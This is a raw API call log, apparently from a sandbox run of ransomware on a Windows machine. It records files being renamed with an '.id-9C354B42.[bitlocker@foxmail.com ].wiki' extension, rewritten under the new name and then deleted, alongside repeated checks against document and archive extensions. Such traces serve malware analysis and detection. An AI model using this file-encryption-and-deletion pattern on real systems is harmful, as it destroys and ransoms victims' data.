(lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmainbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.249] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.250] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToNotesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintonotesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.250] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.250] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsMainToScenesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsmaintoscenesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.250] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.251] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsNotesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsnotesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.252] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0150.252] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Sports\\SportsScenesBackground_PAL.wmv.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\sports\\sportsscenesbackground_pal.wmv.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.796] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHLEX.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchlex.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0162.797] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\PSRCHSRN.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\psrchsrn.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0 [0168.759] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.759] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.759] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0168.760] GetLastError () returned 0x0 [0168.760] ReadFile (in: hFile=0x198, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x12ea5, lpOverlapped=0x0) returned 1 [0168.771] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x12eb0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x12eb0, lpOverlapped=0x0) returned 1 [0168.773] ReadFile (in: hFile=0x198, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0168.773] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0168.773] SetEndOfFile (hFile=0x19c) returned 1 [0168.773] CloseHandle (hObject=0x19c) returned 1 [0168.773] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.773] SetEndOfFile (hFile=0x198) returned 1 [0168.775] CloseHandle (hObject=0x198) returned 1 [0168.775] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0168.775] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\acrobat\\10.0\\usercache.bin")) returned 1 [0168.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.775] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.775] lstrlenW (lpString=".doc") returned 4 [0168.775] lstrcmpiW (lpString1=".doc", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString=".docx") returned 5 [0168.776] lstrcmpiW (lpString1=".docx", lpString2="e.bin") returned -1 [0168.776] lstrlenW (lpString=".pdf") returned 4 [0168.776] lstrcmpiW (lpString1=".pdf", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString=".xls") returned 4 [0168.776] lstrcmpiW (lpString1=".xls", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString=".xlsx") returned 5 [0168.776] lstrcmpiW (lpString1=".xlsx", lpString2="e.bin") returned -1 [0168.776] lstrlenW (lpString=".ppt") returned 4 [0168.776] lstrcmpiW (lpString1=".ppt", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.776] lstrlenW (lpString=".zip") returned 4 [0168.776] lstrcmpiW (lpString1=".zip", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString=".rar") returned 4 [0168.776] lstrcmpiW (lpString1=".rar", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString=".bz2") returned 4 [0168.776] lstrcmpiW (lpString1=".bz2", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString=".7z") returned 3 [0168.776] lstrcmpiW (lpString1=".7z", lpString2="bin") returned -1 [0168.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.776] lstrlenW (lpString=".dbf") returned 4 [0168.776] lstrcmpiW (lpString1=".dbf", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.776] lstrlenW (lpString=".1cd") returned 4 [0168.776] lstrcmpiW (lpString1=".1cd", lpString2=".bin") returned -1 [0168.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.776] lstrlenW (lpString=".jpg") returned 4 [0168.776] lstrcmpiW (lpString1=".jpg", lpString2=".bin") returned 1 [0168.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.776] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.776] lstrlenW (lpString=".doc") returned 4 [0168.777] lstrcmpiW (lpString1=".doc", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString=".docx") returned 5 [0168.777] lstrcmpiW (lpString1=".docx", lpString2="e.bin") returned -1 [0168.777] lstrlenW (lpString=".pdf") returned 4 [0168.777] lstrcmpiW (lpString1=".pdf", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString=".xls") returned 4 [0168.777] lstrcmpiW (lpString1=".xls", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString=".xlsx") returned 5 [0168.777] lstrcmpiW (lpString1=".xlsx", lpString2="e.bin") returned -1 [0168.777] lstrlenW (lpString=".ppt") returned 4 [0168.777] lstrcmpiW (lpString1=".ppt", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.777] lstrlenW (lpString=".zip") returned 4 [0168.777] lstrcmpiW (lpString1=".zip", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString=".rar") returned 4 [0168.777] lstrcmpiW (lpString1=".rar", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString=".bz2") returned 4 [0168.777] lstrcmpiW (lpString1=".bz2", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString=".7z") returned 3 [0168.777] lstrcmpiW (lpString1=".7z", lpString2="bin") returned -1 [0168.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.777] lstrlenW (lpString=".dbf") returned 4 [0168.777] lstrcmpiW (lpString1=".dbf", lpString2=".bin") returned 1 [0168.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.777] lstrlenW (lpString=".1cd") returned 4 [0168.777] lstrcmpiW (lpString1=".1cd", lpString2=".bin") returned -1 [0168.777] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\UserCache.bin") returned 76 [0168.777] lstrlenW (lpString=".jpg") returned 4 [0168.777] lstrcmpiW (lpString1=".jpg", lpString2=".bin") returned 1 [0168.778] lstrcmpiW (lpString1=".DAT", lpString2=".wiki") returned -1 [0168.778] lstrlenW (lpString="GDIPFONTCACHEV1.DAT") returned 19 [0168.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0168.778] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=108824) returned 1 [0168.778] CloseHandle (hObject=0x198) returned 1 [0168.778] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat")) returned 0x2020 [0168.778] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0168.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0168.778] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.778] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0168.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0168.781] GetLastError () returned 0x0 [0168.781] ReadFile (in: hFile=0x198, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x1a918, lpOverlapped=0x0) returned 1 [0168.948] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x1a920, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1a920, lpOverlapped=0x0) returned 1 [0171.453] ReadFile (in: hFile=0x198, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0171.453] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xfa, lpOverlapped=0x0) returned 1 [0171.453] SetEndOfFile (hFile=0x19c) returned 1 [0171.454] CloseHandle (hObject=0x19c) returned 1 [0171.454] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0171.454] SetEndOfFile (hFile=0x198) returned 1 [0171.455] CloseHandle (hObject=0x198) returned 1 [0171.455] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0171.456] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\gdipfontcachev1.dat")) returned 1 [0171.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.456] lstrlenW (lpString=".doc") returned 4 [0171.456] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0171.456] lstrlenW (lpString=".docx") returned 5 [0171.456] lstrcmpiW (lpString1=".docx", lpString2="1.DAT") returned -1 [0171.456] lstrlenW (lpString=".pdf") returned 4 [0171.456] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0171.456] lstrlenW (lpString=".xls") returned 4 [0171.456] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0171.456] lstrlenW (lpString=".xlsx") returned 5 [0171.456] lstrcmpiW (lpString1=".xlsx", lpString2="1.DAT") returned -1 [0171.456] lstrlenW (lpString=".ppt") returned 4 [0171.456] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0171.456] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.456] lstrlenW (lpString=".zip") returned 4 [0171.456] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0171.456] lstrlenW (lpString=".rar") returned 4 [0171.456] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString=".bz2") returned 4 [0171.457] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0171.457] lstrlenW (lpString=".7z") returned 3 [0171.457] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0171.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.457] lstrlenW (lpString=".dbf") returned 4 [0171.457] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.457] lstrlenW (lpString=".1cd") returned 4 [0171.457] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0171.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.457] lstrlenW (lpString=".jpg") returned 4 [0171.457] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.457] lstrlenW (lpString=".doc") returned 4 [0171.457] lstrcmpiW (lpString1=".doc", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString=".docx") returned 5 [0171.457] lstrcmpiW (lpString1=".docx", lpString2="1.DAT") returned -1 [0171.457] lstrlenW (lpString=".pdf") returned 4 [0171.457] lstrcmpiW (lpString1=".pdf", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString=".xls") returned 4 [0171.457] lstrcmpiW (lpString1=".xls", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString=".xlsx") returned 5 [0171.457] lstrcmpiW (lpString1=".xlsx", lpString2="1.DAT") returned -1 [0171.457] lstrlenW (lpString=".ppt") returned 4 [0171.457] lstrcmpiW (lpString1=".ppt", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.457] lstrlenW (lpString=".zip") returned 4 [0171.457] lstrcmpiW (lpString1=".zip", lpString2=".DAT") returned 1 [0171.457] lstrlenW (lpString=".rar") returned 4 [0171.458] lstrcmpiW (lpString1=".rar", lpString2=".DAT") returned 1 [0171.458] lstrlenW (lpString=".bz2") returned 4 [0171.458] lstrcmpiW (lpString1=".bz2", lpString2=".DAT") returned -1 [0171.458] lstrlenW (lpString=".7z") returned 3 [0171.458] lstrcmpiW (lpString1=".7z", lpString2="DAT") returned -1 [0171.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.458] lstrlenW (lpString=".dbf") returned 4 [0171.458] lstrcmpiW (lpString1=".dbf", lpString2=".DAT") returned 1 [0171.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.458] lstrlenW (lpString=".1cd") returned 4 [0171.458] lstrcmpiW (lpString1=".1cd", lpString2=".DAT") returned -1 [0171.458] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\GDIPFONTCACHEV1.DAT") returned 63 [0171.458] lstrlenW (lpString=".jpg") returned 4 [0171.458] lstrcmpiW (lpString1=".jpg", lpString2=".DAT") returned 1 [0171.458] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0171.458] lstrlenW (lpString="main.html") returned 9 [0171.458] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.060] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=92) returned 1 [0172.060] CloseHandle (hObject=0x1a0) returned 1 [0172.060] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html")) returned 0x2020 [0172.060] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.060] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.060] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.061] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.061] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\main.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0172.061] GetLastError () returned 0x0 [0172.061] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x5c, lpOverlapped=0x0) returned 1 [0172.062] WriteFile (in: hFile=0x1a4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x60, lpOverlapped=0x0) returned 1 [0172.065] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 